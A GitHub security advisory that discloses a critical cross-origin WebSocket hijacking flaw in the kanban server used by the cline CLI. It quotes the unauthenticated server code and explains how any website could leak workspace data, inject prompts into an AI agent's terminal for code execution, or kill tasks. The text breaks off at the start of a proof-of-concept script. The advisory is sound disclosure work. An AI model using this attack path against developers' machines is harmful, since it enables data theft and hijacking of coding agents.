GitHub Security Advisory: GHSA-5c57-rqjx-35g2
Package: cline (NPM)
Severity: CRITICAL (CVSS 9.6)
CWE: CWE-306: Missing Authentication for Critical Function, CWE-1385: Missing Origin Validation in WebSockets
Vulnerable versions: <= 2.13.0
Patched in: unpatched

Summary: Cline Kanban Server has a Cross-Origin WebSocket Hijacking Vulnerability

Details:
## Summary

The `kanban` npm package (used by the `cline` CLI) starts a WebSocket server on `127.0.0.1:3484` with no Origin header validation. Any website a developer visits can silently connect to the kanban server via WebSocket and:

1. Leak sensitive data in real-time: workspace filesystem paths, task titles/descriptions, git branch info, AI agent chat messages
2. Hijack running AI agent terminals by injecting arbitrary prompts into the agent's input, leading to remote code execution
3. Kill running agent tasks by terminating active sessions via the control WebSocket

WebSocket connections are not subject to CORS restrictions. The browser sends them freely to localhost regardless of the page's origin. The kanban server accepts all connections without checking the Origin header.

## Affected Component

- Package: `kanban` on npm (https://www.npmjs.com/package/kanban)
- Repository: https://github.com/cline/kanban
- Tested version: 0.1.59
- Installed via: `cline` CLI (`cline --kanban` or default `cline` command)
- Endpoints: `ws://127.0.0.1:3484/api/runtime/ws`, `ws://127.0.0.1:3484/api/terminal/io`, `ws://127.0.0.1:3484/api/terminal/control`

## Root Cause

Three WebSocket endpoints are exposed without authentication or Origin validation.

### 1. Runtime state stream (no Origin check on upgrade)

```javascript
server.on("upgrade", (request, socket, head) => {
    if (normalizeRequestPath(requestUrl.pathname) !== "/api/runtime/ws") {
        return;
    }
    // No Origin header validation. Any website can connect.
    deps.runtimeStateHub.handleUpgrade(request, socket, head, { requestedWorkspaceId });
});
```

On connection, the server immediately sends a full snapshot of the developer's workspace:

```javascript
sendRuntimeStateMessage(client, {
    type: "snapshot",
    currentProjectId: projectsPayload.currentProjectId,
    projects: projectsPayload.projects,       // filesystem paths
    workspaceState,                            // tasks, git info, board
    workspaceMetadata,                         // git summary
    clineSessionContextVersion
});
```

### 2. Terminal I/O (raw bytes written to agent terminal, no auth)

```javascript
ioServer.on("connection", (ws, context2) => {
    ws.on("message", (rawMessage) => {
        // Attacker's bytes written directly to the agent PTY
        terminalManager.writeInput(taskId, rawDataToBuffer(rawMessage));
    });
});
```

### 3. Terminal control (can kill tasks, no auth)

```javascript
controlServer.on("connection", (ws, context2) => {
    ws.on("message", (rawMessage) => {
        const message = parseWebSocketPayload(rawMessage);
        if (message.type === "stop") {
            terminalManager.stopTaskSession(taskId);
        }
    });
});
```

## Exploitation

### Step 1: Cross-Origin Info Leak

From any website, JavaScript connects to the runtime WebSocket. No CORS applies:

```javascript
// Run this on https://example.com. It connects to the victim's local kanban.
const ws = new WebSocket